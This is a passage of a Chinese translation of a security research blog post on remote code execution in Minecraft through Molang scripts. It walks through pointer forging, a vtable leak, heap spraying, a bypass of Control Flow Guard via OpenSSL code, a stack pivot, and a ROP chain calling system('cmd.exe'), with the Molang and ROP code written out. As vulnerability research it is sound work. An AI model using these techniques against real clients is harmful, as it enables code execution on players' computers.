variable.saved_upper_32 = variable.b;

接着我们就可以修改指针的低 32 位:

variable.a = variable.a + itof(0x8);

此操作之后,高 32 位被清零,而低位被调整:

                   +-------------+-------------+
                   | a8 bb cc dd | 00 00 00 00 |
                   +-------------+-------------+
                    ^             ^
+-------------+     |             |
| variable.a  +-----+             |
+-------------+                   |
| variable.b  +-------------------+
+-------------+\
|    . . .    |

由于 value 字段正下方的 32 位在赋值期间不会被触碰,我们只需恢复高位即可:

variable.b = variable.saved_upper_32;

现在 variable.f 指针被恢复了,并且我们将它增加了 8,得到了期望状态:

                   +-------------+-------------+
                   | a8 bb cc dd | 80 1c 00 00 |
                   +-------------+-------------+
                    ^             ^
+-------------+     |             |
| variable.a  +-----+             |
+-------------+                   |
| variable.b  +-------------------+
+-------------+\
|    . . .    |

这绕过了高 32 位被清零的问题,但又带来了另一个问题:我们如何在堆上找到一个指向 MolangVariableMap + 4 的指针?

此外,在上面的例子中给 variable.a 加 8 也行不通,因为 0xddccbba0 不是一个合法的 float。所以第一个问题仍然没有解决。

最终方法

我们意识到,第二个指针不一定非要位于 MolangVariableMap + 4,它也可以位于 MolangVariableMap + 2,这样就能同时解决我们的两个问题。

让我们重新看一下前面的例子,不过这次 variable.b 指向 MolangVariableMap + 2

                   +-------------+-------------+
                   | a0 bb cc dd | 80 1c 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

通过这种设置,我们可以通过先保存地址的高 48 位,来计算相对于 variable.f 的任意地址:

variable.saved_upper_48 = variable.b;

此时,variable.saved_upper_48 保存的值是 0x1c80ddcc

为了修复前面无法递增非法 float 值的问题,我们只需清零高 48 位:

variable.b = 0;

结果如下:

                   +-------------+-------------+
                   | a0 bb 00 00 | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

现在,variable.a 的值只跨越 16 位(具体为 0xbba0),由于它远小于 FLT_MAX,因此始终是一个合法 float。

现在我们可以安全地通过递增 variable.a 来调整指针的低 16 位:

variable.a = variable.a + itof(0x8);

结果为:

                   +-------------+-------------+
                   | a8 bb 00 00 | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

如果我们只想将指针增加 8,那么最后恢复高 48 位即可:

variable.b = variable.saved_upper_48;

得到一个再次合法的指针:

                   +-------------+-------------+
                   | a8 bb cc dd | 80 1c 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

但是,如果我们想将指针增加一个超过 16 位所能表示范围的值,那么我们需要继续,先保存已经调整过的低 16 位:

variable.saved_adjusted_lower_16 = variable.a;

接下来,我们需要提取地址的中间 16 位和高 16 位。我们先恢复此前保存的高 48 位:

variable.a = variable.saved_upper_48;

这会产生如下状态:

                   +-------------+-------------+
                   | cc dd 80 1c | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

如上所示,variable.b 现在包含地址的高 16 位(0x1c80),我们可以将其保存为 variable.saved_upper_16 = variable.b。与此同时,variable.a 同时包含中间 16 位和高 16 位。为了分离出中间位,我们只需清零 variable.b

variable.b = 0;

结果为:

                   +-------------+-------------+
                   | cc dd 00 00 | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

现在我们可以保存中间 16 位:

variable.saved_middle_16 = variable.a;

此时,我们拥有:

variable.saved_adjusted_lower_16 = 0xbba8
variable.saved_middle_16 = 0xddcc
variable.saved_upper_16 = 0x1c80

这三个部分都是合法的 float 值,确保了计算的确定性。

如果我们需要将指针增加超过最大 16 位值的范围,那么我们只需相应地递增中间部分和高位部分即可:

variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);
variable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);

在修改完这三个 16 位部分后,我们可以通过逆转提取过程来重建完整指针。首先伪造高 48 位:

variable.a = variable.saved_adjusted_middle_16;

variable.a 设置为 0xddcd0xddcc + 1),然后:

variable.b = variable.saved_adjusted_upper_16;

使 variable.b 的值变为 0x1c810x1c80 + 1):

                   +-------------+-------------+
                   | cd dd 81 1c | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

现在我们保存调整后的高 48 位:

variable.saved_adjusted_upper_48 = variable.a;

最后,拼接上低 16 位:

variable.a = variable.saved_adjusted_lower_16;
                   +-------------+-------------+
                   | a8 bb 00 00 | 00 00 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

然后通过设置:

variable.b = variable.saved_adjusted_upper_48;

我们就伪造出了最终调整后的指针:

                   +-------------+-------------+
                   | a8 bb cd dd | 81 1c 00 00 |
                   +-------------+-------------+
                    ^     ^
+-------------+     |     |
| variable.a  +-----+     |
+-------------+           |
| variable.b  +-----------+
+-------------+\
|    . . .    |

借助这个方法,我们现在可以计算出任何我们想要的指针。不过,前面的问题仍然存在:我们如何在堆上找到一个指向 MolangVariableMap + 2 的指针?

最终,我们意识到我们并不一定需要一个指向 MolangVariableMap + 2 的指针。相反,我们需要的是堆上的任意两个指针,其中一个指向 addr,另一个指向 addr + 2(只要 addr 位于可写区域内即可)。思路是将这两个指针作为一个工作区,在那里拆分、操作并重建一个指针。

在这种情况下,我们需要破坏一个额外(第三个)变量的索引,使其索引到 MolangVariableMapbuf 字段。一旦新指针被伪造出来,我们就可以利用这个变量将其赋值为这个伪造后的指针:

variable.corrupted_var_map_ptr = variable.a;

如前所述,这个操作会复制完整的 64 位 value 字段(在这个例子中即重建后的指针),并将其写入 variable.corrupted_var_map_ptr,即便类型本身只是一个 32 位 float。

寻找未对齐指针

这一步需要一个可用于堆喷射的结构,它包含两个相隔两字节的指针(ptrptr + 2)。幸运的是,我们不必找太远,因为我们已经熟悉一个合适的结构。

MolangIndexMap 是位于每个实体对象中的一个 std::vector<uint16_t>。如前所述,一个 std::vector 包含三个指针:buf(已分配缓冲区的起始位置)、len(最后一个元素之后)和 cap(已分配缓冲区的结束位置)。由于元素类型是 uint16_t,每次添加一个新元素时,len 指针都会前进 2 字节。

我们可以通过不断添加元素直到 vector 只差一个元素就满的方式,让 len 指针等于 cap - 2。在实践中,这可以通过向实体中填充此前未见过的变量来实现。

                         +-> +---------------+
                         |   |               |
                         |   |     . . .     |
                         |   |               |
                         |   +-------+-------+
                         |   | 00 f0 | 00 f1 |
                         |   +-------+-------+
                         |   | 00 f2 | 00 f3 |
                         |   +-------+-------+
  std::vector<uint16_t>  |   | 00 f4 | 00 f5 |
     MolangIndexMap      |   +-------+-------+
    +----------------+   |   | 00 f6 | 00 00 |
buf | 0x1c54f7a13200 | --+   +-------+-------+
    +----------------+               ^       ^
len | 0x1c54f7a13306 | --------------+       |
    +----------------+                       |
cap | 0x1c54f7a13308 | ----------------------+
    +----------------+

总结一下,最终的设置需要覆盖三个变量的索引:一个会索引到上方实体对象中的 MolangVariableMapbuf 指针,一个会索引到 len,最后一个会索引到同一个上方实体对象中的 MolangIndexMapcap 指针。

被破坏的变量 variable.corrupted_len_ptrvariable.corrupted_cap_ptr 分别指向 lencap,它们相隔两个字节。利用这两个变量,我们可以使用前面描述的方法计算任意指针。第三个被破坏的变量 variable.corrupted_var_map_ptr 指向 MolangVariableMapbuf 字段;它用于将计算出的指针复制到 MolangVariableMap 的已分配缓冲区中,从而让我们能够覆盖另一个(第四个)变量的指针。这个第四个被破坏的变量,才是我们最终用于任意读/写的变量。

不过,在我们能够进行任何任意内存操作之前,我们还需要一个泄露,理想情况下是任意一个 Minecraft 可执行映射区域的地址,这样我们才能对目标内存区域执行任意读写。

泄露指针

在 C++ 中,一个对象的第一个字段通常是一个 vtable 指针,也就是一个指向内存中可执行文件只读区域的指针。这意味着实体对象的第一个字段包含一个位于 Minecraft 可执行文件内部的地址,而我们想要在 Molang 脚本中恢复出这个值。

                                 Entity Object

                          +------------+------------+
                          | vtable ptr |            |
                          +------------+            |
                          |                         |
                          |                         |
                          |                         |
                          |                         |
                          |                         |
                          |                         |
                      +-> +------------+------------+
                      |   |    buf     |    len     |
      MolangIndexMap -+   +------------+------------+
                      |   |    cap     |            |
                   +--+-> +------------+------------+
                   |      |    buf     |    len     |
MolangVariableMap -+      +------------+------------+
                   |      |    cap     |            |
                   +----> +------------+            |
                          |                         |
                          +-------------------------+

MolangVariable 内部的 value 字段位于偏移 0x38。我们已经控制了一个被破坏的变量 variable.corrupted_len_ptr,我们可以通过添加未见过的变量来移动其目标:每添加一个未见过的变量,MolangIndexMaplen 字段就增加 2 字节,从而使 variable.corrupted_len_ptr 也前进 2 字节。

通过移动 len 使其等于 cap - 0x38variable.corrupted_len_ptrvalue 字段就会与上方相邻堆块的前 8 个字节重叠。在我们的案例中,这个相邻块就是通过堆喷射操控得到的实体对象,这意味着这前 8 个字节就是该实体的 vtable 指针。然后我们可以通过以下方式捕获这个指针:

variable.saved_vtable_pointer = variable.corrupted_len_ptr;

保存泄露后,我们再添加 27 个未见过的变量,将 len 推进到等于 cap - 2。这就建立起了我们的任意读/写原语所需的设置,同时将泄露出来的 vtable 地址保存在 variable.saved_vtable_pointer 中。


一个将值 0x1337 任意写入到地址 vtable + 0x1000 的 Molang 脚本如下所示:

// 计算低 16 位
variable.corrupted_len_ptr = variable.saved_vtable_lower_16;
variable.corrupted_cap_ptr = 0;
// 减去 `value` 字段在 MolangVariable 中的偏移(0x38)
variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);
variable.calculated_lower_16 = variable.corrupted_len_ptr;

// 计算中间 16 位,并检查低 16 位计算是否溢出
variable.corrupted_len_ptr = variable.saved_vtable_middle_16;
variable.corrupted_cap_ptr = 0;
(variable.calculated_lower_16 >= itof(0x10000)) ? {
    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);
};
variable.calculated_middle_16 = variable.corrupted_len_ptr;

// 计算高 16 位,并检查中间 16 位计算是否溢出
variable.corrupted_len_ptr = variable.saved_vtable_high_16;
variable.corrupted_cap_ptr = 0;
(variable.calculated_middle_16 >= itof(0x10000)) ? {
    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);
};
variable.calculated_high_16 = variable.corrupted_len_ptr;

// 构造最终指针
variable.corrupted_len_ptr = variable.calculated_middle_16;
variable.corrupted_cap_ptr = variable.calculated_high_16;
variable.calculated_upper_48 = variable.corrupted_len_ptr;
variable.corrupted_len_ptr = variable.calculated_lower_16;
variable.corrupted_cap_ptr = variable.calculated_upper_48;

// 将构造出的指针复制到 MolangVariableMap
variable.corrupted_var_map_ptr = variable.corrupted_len_ptr;

// variable.f 指针现在是 `vtable + 0x1000 - 0x38`
// 而值 0x1337 被写入到 `vtable + 0x1000`
variable.f = itof(0x1337);

所需的堆布局

为了确保我们的攻击生效,堆喷射在索引被覆盖后需要将布局操纵成如下形式:

    Heap Region 1                Heap Region 2

+-------------------+        +-------------------+
|                   |        |                   |
| MolangVariableMap |        |  MolangIndexMap   |
|                   |        |                   |
+-------------------+        +-------------------+
|                   |        |                   |
|   Entity Object   |        |   Entity Object   |
|                   |        |                   |
+-------------------+        +-------------------+
|                   |        |                   |
| MolangVariableMap |        |  MolangIndexMap   |
|                   |        |                   |
+-------------------+        +-------------------+
|                   |        |                   |
|   Entity Object   |        |   Entity Object   |
|                   |        |                   |
+-------------------+        +-------------------+

第一个 region(Heap Region 1)包含交替出现的 MolangVariableMap 已分配缓冲区和实体对象。这个 region 的目的是,一旦某个变量索引越界,它就可以索引到实体对象中 MolangVariableMapMolangIndexMap 的内部 std::vector 指针,从而支撑我们的主攻击。

第二个 region(Heap Region 2)包含交错排列的 MolangIndexMap 已分配缓冲区和实体对象。这个 region 的存在是为了让我们在主攻击期间能够将一个实体对象的 vtable 指针泄露到 variable.corrupted_len_ptr 中。理论上可以是任意带有 vtable 的对象,但为了简化,我们使用实体对象。

在攻击过程中,使用 variable.corrupted_var_map_ptr = variable.corrupted_len_ptr 覆盖另一个变量的指针时,很可能会破坏的是一个不同实体中的 variable.f 指针,而不是最初遭受索引破坏的那个实体中的指针。实际上这意味着:一个受到初始破坏影响的实体会负责泄露并计算任意读/写地址,然后利用该地址去覆盖第二个、独立实体中的某个变量指针。第二个实体随后纯粹用于通过该变量执行任意读写。

由于这种跨实体行为,我们必须同步所有实体。在我们实现该利用时,还找不到一种干净的方式来强制同步执行。我们的变通方法是将所有已分配实体放置在世界中的同一个位置,并把 Molang 脚本放进动画部分。动画脚本不会对客户端视野之外的实体执行,因此在这些实体变得可见之前,所有 Molang 代码都不会运行。

最终利用分为三个阶段:

  1. 将玩家定位到喷射出的实体不在视野内的位置(它们的 Molang 脚本保持休眠)
  2. 使用告示牌执行堆喷射,以为攻击创建期望的布局
  3. 移动客户端,使所有喷射出的实体进入视野,它们的动画脚本(我们的 Molang payload)便会执行,从而触发泄露以及后续的任意读/写原语

初始破坏变体:LFH Heap 方法

如上所述,LFH heap chunk 没有头部,chunk 数据是相邻的,因此该攻击也可以在 LFH heap 中完成,而不是在 VS heap 中。在这种情况下,不需要 chunk overlap 方法,溢出的 4 字节值可以直接用来覆盖前两个变量索引。

全局变量映射中不存在索引 0 的变量,因为当遇到一个新变量时,它会被赋值为 last_index + 1,而 last_index 在程序启动时初始化为 0。因此,4 字节溢出的前两个字节无关紧要,只有最后两个字节会覆盖一个单独的变量索引。

可以通过让最终的索引指向 MolangIndexMapbuf 字段来安排主攻击。从那里,脚本可以通过使用字符串类型,在 MolangIndexMap 内偏移 0x38 的位置覆盖三个变量索引。之所以可行,是因为 Molang 字符串的值只是一个 uint64_t 的 FNV-1 hash;可以通过暴力搜索找到所需字符串,使其 hash 包含这三个目标索引。例如,要将三个索引覆盖为 0xfb0xfc0xfd,脚本会执行:

variable.corrupted_index_map_ptr = 'r80n3jsuc';

这一行会将 uint64_t0x302700fb00fc00fd(字符串的 FNV-1 hash)写入已分配的 MolangIndexMap 缓冲区,覆盖三个索引为所需值,并建立所需的任意读 / 写原语状态。

劫持执行流

尽管我们可以在 Minecraft 内存区域内任意读写值,包括可写 .data 段中的许多 vtable 和函数指针,但利用还没有完成:Control Flow Guard(CFG)阻止我们通过覆盖这些指针并执行 ROP chain 来获得任意代码执行。

CFG 是一种运行时缓解机制,会阻止跳转/间接调用到未批准地址;如果发生到不在其有效目标集合中的位置的间接转移,它会导致程序崩溃。

检查 Minecraft 特有函数及其反汇编后,可以看到如下内容:

image

这段代码在对象上调用一个方法:rcx 持有对象指针,第一条 mov 将对象的 vtable 加载到 rax 中,随后 rax + 0x8 处的函数指针被读入 rax。最后调用 __guard_dispatch_icall_fptr,这就是 CFG 的分发函数,它会在真正调用前验证 rax 是否是合法的调用目标。

Minecraft 目录中的所有 DLL 都是带 CFG 编译的。不过,后来我们在 Minecraft 可执行文件中发现了一段汇编代码,它直接调用对象方法,而不经过 CFG 分发:

image

这里,vtable + 0x10 处的函数指针被加载到 rdx,然后被直接调用。

这段代码来自 OpenSSL,而所有 OpenSSL 相关的 section 中都没有 CFG 分发调用。推测 OpenSSL 是在未启用 CFG 的情况下编译,然后被静态链接进可执行文件的。

因此,剩下的任务就是在 Minecraft 的可写 section 中定位 OpenSSL 函数或 vtable 指针,并将它们用作覆盖目标来劫持执行流。

定位可覆盖目标

我们最早识别出的目标之一是 mallocfree 回调。它们位于 .data section 中,并且会在它们与预期的 OPENSSL_malloc/free 符号不匹配时被调用:

image

然而,没有任何寄存器持有一个指向可控区域的指针,以便我们将 ROP chain 放在那里。

后来,我们发现了另一个有希望的函数:ossl_ec_key_new_method_int。这个函数创建并初始化一个 EC_KEY 对象。它之所以特别有趣,是因为它依赖于一个包含函数指针的全局结构(位于 .data 中):

image

在上图中,ret->meth 被设置为 default_ec_key_meth,后者指向位于 .data 中的一个函数指针结构。随后它调用 ret->meth->init,并将 this 指针(ret)传入。这本身并不是特别有用,因为 ret 是在堆上分配的。

但是,如果我们观察反汇编中 ret->meth->init 的调用方式:

image

如果 ret->meth->init 不为 NULL,那么调用它时,rax 仍然保存着 ret->meth 的值,也就是一个指向位于 .data 中、由我们控制的结构的指针。这非常理想,因为我们可以将 default_ec_key_meth 覆盖为一个指向 .data 中某个区域的指针,而我们的 ROP chain 就放在这个区域里,然后使用一个 mov rsp, rax; ret 风格的 gadget 进行 stack pivot。

尽管我们发现 ossl_ec_key_new_method_int 从未被 Minecraft 进程调用,但这最终并不是问题,因为我们已经找到了一种通过 OPENSSL_malloc/free 回调触发任意函数调用的方法。

Stack Pivot

此时,计划如下:将我们的 ROP chain 写入 .data 中一个可控区域,覆盖 default_ec_key_meth 来建立 stack pivot,最后再覆盖一个回调,使调用它时触发 ossl_ec_key_new_method_int。这最终会调用 default_ec_key_meth->init,从而执行 pivot 并开始 ROP 执行。

我们选择覆盖 OPENSSL_free 回调。这只会造成一个轻微的内存泄露,而如果覆盖 OPENSSL_malloc,则要求我们的替换函数返回一个可写且未使用的内存区域。

对于 stack pivot,我们找到了两个有用的 gadget:add rsp, 0x10; pop r14; retxchg rsp, rax; ret。利用会像这样将它们写入 .data

      +-----------------------------+
+0x00 | add rsp, 0x10; pop r14; ret |
      +-----------------------------+
+0x08 | padding                     |
      +-----------------------------+
+0x10 | xchg rsp, rax; ret          |
      +-----------------------------+
+0x18 | padding (pop r14)           |
      +-----------------------------+
+0x20 | ROP Chain                   |
      +-----------------------------+

第二个 gadget xchg rsp, rax; ret 被放置在对应 init 函数指针的槽位中。如前所述,当 ret->meth->init 被调用时,rax 中保存的是一个指向 default_ec_key_meth 的指针,而我们已经覆盖了它,现在它指向 .data 中的 add rsp, 0x10; pop r14; ret gadget。

当调用发生时,xchg rsp, rax 会将栈指针与 .data 中这个可控指针交换,实际上把 rsp 移动到我们的 ROP 区域中。ret 之后,执行会继续到 add rsp, 0x10; pop r14; ret,它会将 rsp 前进 0x18 字节,跳过 padding 和 xchg rsp, rax; ret gadget。从那里开始,stack pivot 就完成了,而放在 xchg rsp, rax; ret 之上的 ROP chain 会开始执行。

ROP Chain

在演示中,ROP chain 只是简单地调用 system("cmd.exe")。由于 Minecraft 不使用 system,因此这个符号没有被导入,所以 chain 必须动态解析它。

这很直接:chain 首先调用 GetModuleHandle("ucrtbase.dll") 获取 ucrtbase.dll 的基地址(它导出了 system)。然后它调用 GetProcAddress(ucrtbase_addr, "system") 获取该函数的地址。最后,它以 "cmd.exe" 字符串作为参数调用 system

在利用脚本中,ROP chain 大致如下所示:

## 获取 `GetModuleHandle` 的地址到 `rax`
rop.gadget(pop_r8)
rop.gadget(addr_get_module_handle_a - 0x28)
## 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret
rop.gadget(mov_rax_r8_28)

## 调用 `GetModuleHandle("ucrtbase.dll")`
rop.gadget(pop_rcx)
rop.gadget(0x7468B68) # "ucrtbase.dll" 字符串的偏移
rop.gadget(ret) # movaps 对齐
rop.gadget(push_rax_ret) # 调用 `GetModuleHandle`
rop.literal(u64(b"ucrtbase"))
rop.literal(u64(b".dll\x00\x00\x00\x00"))
rop.literal(u64(b"system\x00\x00"))

## 调用 `GetProcAddress(ucrtbase_base, "system")`
rop.gadget(xchg_rcx_rax) # 将 `GetModuleHandle` 的返回值移动到 rcx
rop.gadget(pop_rdx)
rop.gadget(0x7468B68 + 0x10) # "system" 字符串的偏移
rop.gadget(get_proc_addr)

## 调用 `system("cmd.exe")`
rop.gadget(pop_rcx)
rop.gadget(0x7468DB8) # "cmd.exe" 字符串的偏移
rop.gadget(ret) # movaps 对齐
rop.gadget(push_rax_ret) # 调用 `system`
rop.literal(u64(b"cmd.exe\x00"))

演示

下面的演示视频展示了一个 Molang 脚本如何通过任意读写原语执行前面的 ROP chain:

你的浏览器不支持 video 标签。

结论

这篇博文相当长,这也反映出现代缓解机制让远程利用变得极其繁琐,但仍非不可能。

它还展示了一种有趣的技术:滥用 Molang 来实现 RCE,而无需依赖客户端信息泄露。

最后,它也凸显了安全领域中一个尚未被充分探索的方向:电子游戏。即使是像 Minecraft 这样极其流行的游戏,也包含庞大、复杂且尚未被充分探索的攻击面。

  • 原文链接: osec.io/blog/2026-06-02-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论